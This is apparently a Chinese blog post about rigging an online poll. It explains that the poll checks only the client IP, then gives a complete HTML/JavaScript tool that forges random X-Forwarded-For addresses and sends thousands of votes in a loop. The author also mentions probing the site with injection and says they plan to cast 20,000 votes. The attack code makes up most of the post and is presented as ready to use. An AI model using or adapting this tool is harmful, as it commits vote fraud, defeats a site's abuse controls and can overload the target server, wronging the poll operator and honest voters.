帮忙网络投票,粗看下,仅有一个ip校验:每天每个ip仅能投票一次。
解决办法1、伪造ip,http协议中,request有个属性:"X-Forwarded-For",这个属性值就是服务器端的程序所能获取的ip。通过request.setRequestHeader("X-Forwarded-For","10.12.10.1");
从网上随便搜了段代码,是网络投票的,稍加改了改,增加伪造ip方法
function r(min,max){ return Math.floor(min+Math.random()*(max-min)); } function getRandomIp(){ return r(1,255) + "." + r(1,255) + "." + r(1,255)+ "." + r(1,255); }
上干货,fuck goods
<script>
function CreateXMLHttp2(){
var xmlhttp=null; if (window.XMLHttpRequest) { xmlhttp = new XMLHttpRequest(); } if (!xmlhttp&&window.ActiveXObject) { try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP.5.0") } catch(e) { try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP.4.0") } catch(e) { try { new ActiveXObject("Msxml2.XMLHTTP") } catch(e) { try{new ActiveXObject("Microsoft.XMLHTTP")}catch(e){} } } } } if(!xmlhttp){alert("XMLHTTP不可用。即将跳转到非Ajax页面。");location="nonAjax.htm"}
return xmlhttp;
}
var g_i=0;
var timer;
function $(obj){
return document.getElementById(obj);
}
function onSearch(){
var g_xmlhttp=CreateXMLHttp2();
if (!g_xmlhttp){
alert("你的浏览器不支持ajax");
return;
}
var idVal = $("id").value;
var sendData="id="+idVal;
var fakeIP=getRandomIp();
var total = $("total").value;
var intervalTime = $("intervalTime").value;
var timeRemain = (total-g_i)*intervalTime/1000;
$("res").innerHTML="已投票:" + g_i +"</br>估计剩余时间:" + timeRemain + "秒" + "</br>当前伪造IP:" + fakeIP+"</br>";
//alert(fakeIP);return ;
try{
g_xmlhttp.open("GET","http://www.xxx.com/xly/tp/tp.php?id=" + idVal,true);
g_xmlhttp.setRequestHeader("Content-Length",sendData.Length);
g_xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
//伪造ip的属性
g_xmlhttp.setRequestHeader("X-Forwarded-For",fakeIP);
g_xmlhttp.onreadystatechange=function(){
if(/*g_xmlhttp.status==200*/g_xmlhttp.readyState==4){
if(++g_i<total){
timer = setTimeout("onSearch()",intervalTime);
}
if(g_i >= total){
alert("本次投票完成");
}
}
}
g_xmlhttp.send(sendData);
}catch(e){
}
}
function r(min,max){
return Math.floor(min+Math.random()*(max-min));
}
function getRandomIp(){
return r(1,255) + "." + r(1,255) + "." + r(1,255)+ "." + r(1,255);
}
function stopSearch(){
clearTimeout(timer);
}
function startInit(){
$("res").innerHTML=""
}
</script>
<form name="form1" method="post" action="" id="form1">
<div>
<br />
<input id="ip" type="hidden" value="124.22.11." />
<br />
投票间隔(单位毫秒):
<input id="intervalTime" type="text" value="200" />
<br />
投票总数:
<input id="total" type="text" value="10000" />
</br>
投票ID:
<input id="id" type="text" value="77" />
</br>
<input id="search" type="button" οnclick="startInit();onSearch();"
value="开始" />
<input id="search" type="button" οnclick="stopSearch();" value="停止" />
<br />
<br />
<span id="res"></span>
<br />
<br />
</div>
</form>
不能投票太快,投票要有间隔,主要是怕服务器被投宕机了。试着给注入下,发现应用和数据库是在同一台机器上,每次投票,应用要执行1次DB查询,是查ip+id,如果查询验证成功,则执行1次DB的插入。
算了,不管了,先投2W票再说